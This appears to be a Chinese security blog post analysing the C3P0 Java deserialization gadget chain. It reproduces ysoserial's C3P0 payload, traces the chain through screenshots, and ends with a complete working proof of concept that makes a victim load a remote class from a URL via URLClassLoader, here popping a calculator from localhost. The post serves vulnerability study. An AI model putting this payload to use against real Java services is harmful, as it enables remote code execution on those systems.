Java反序列化——C3P0

配置Maven依赖

<dependency>
	<groupId>com.mchange</groupId>
	<artifactId>c3p0</artifactId>
	<version>0.9.5.2</version>
</dependency>

What is C3P0?

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。

测试

image-20220814155230314

ysoserial

public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }


    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0.class, args);
    }

}

可以看到ysoserial中的C3P0链通过:来分割URL需要远程加载的类名

image-20220814164121129
image-20220814175904160

下面来看一下这个PoolSouce类

private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

    private String className;
    private String url;

    public PoolSource ( String className, String url ) {
        this.className = className;
        this.url = url;
    }

    public Reference getReference () throws NamingException {
        return new Reference("exploit", this.className, this.url);
    }

    public PrintWriter getLogWriter () throws SQLException {return null;}
    public void setLogWriter ( PrintWriter out ) throws SQLException {}
    public void setLoginTimeout ( int seconds ) throws SQLException {}
    public int getLoginTimeout () throws SQLException {return 0;}
    public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
    public PooledConnection getPooledConnection () throws SQLException {return null;}
    public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}

这里除了一个构造方法用来赋值以外,还有一个getReference()方法,传入了我们的恶意的urlclassName

Poc调试

序列化

image-20220814192731703

序列化的时候,如果connectionPoolDataSource是不可序列化的,则会抛出异常

Exception: Direct serialization provoked a NotSerializableException! Trying indirect

然后尝试使用ReferenceIndirector 对其进行引用的封装,返回一个可以被序列化的 ReferenceSerialized 实例对象。

image-20220815131321710
image-20220815132801347

这里调用的getReference()也就是PoolSourcegetReference()方法

 public Reference getReference () throws NamingException {
        return new Reference("exploit", this.className, this.url);
 }

这里就得到了构造的恶意Reference,并且传给了这个可序列化的ReferenceSerialized 实例对象。

image-20220815133440991

最后序列化的对象是ReferenceSerialized ,其中包含了恶意的reference,当反序列化时,则会被重新实例化一个恶意reference对象,触发恶意代码。

反序列化

Gadget:
	PoolBackedDataSourceBase.readObject()
    	ReferenceIndirector.getObject()
        	ReferenceableUtils.referenceToObject()
           		Class.forName0()
                	URLClassLoader.loadClass()

这里调用了ReferenceSerialized#getObject()

image-20220815152549190

跟进去,这里有个lookup方法,但是没法利用,因为参数contextName是不可控的,唯一可控的就是之前传入的恶意ref

image-20220815154310990

继续往下跟进到referenceToObject(),本质就是将this.reference(恶意链接)转换成Object

image-20220815154637370
image-20220815161436634

这里获取类名存入var4,获取远程地址存入var11var6从上下文获取ClassLoader,如果没用获取到,那么就从ReferenceableUtils中获取。如果没找到远程地址,那么var7就等于var6,如果有远程地址,那么就把远程地址赋给 var8,并且传入URLClassLoader

image-20220815162801732

然后通过Class.forName,使用URLClassLoader来得到恶意类(var4),并且实例化,造成恶意代码执行。

image-20220815162944258

攻击构造

构造一个不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,其 getReference() 方法返回带有恶意类位置的 Reference 对象即可。恶意代码如下:

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Le1a {
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("Le1a", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }

    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase p = new PoolBackedDataSourceBase(false);
        ConnectionPoolDataSource pool = new PoolSource("calc", "http://localhost:8888/");

        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(p, pool);

        serialize(p);
        unserialize("Le1aaaa.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1aaaa.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

反序列化的时候,PoolBackedDataSourceBase中的 ConnectionPoolDataSource因不可序列化,于是返回一个ReferenceSerialized,其中构造的恶意ref包含了恶意地址和类名,最后通过URLClassLoader加载远程地址中的恶意类。

疑问

当正确构造EXP后,成功弹出计算器。但是当我们修改远程端口号,甚至远程地址的IP,并且删除掉之前的bin

文件后,仍能弹出计算器!!!只有当修改恶意类名时,才不能触发。

image-20220815172752415
image-20220815172859161

难道是因为这个原因么?🥺😲😴

image-20220815173327039

参考

虚幻私塾

feng

su18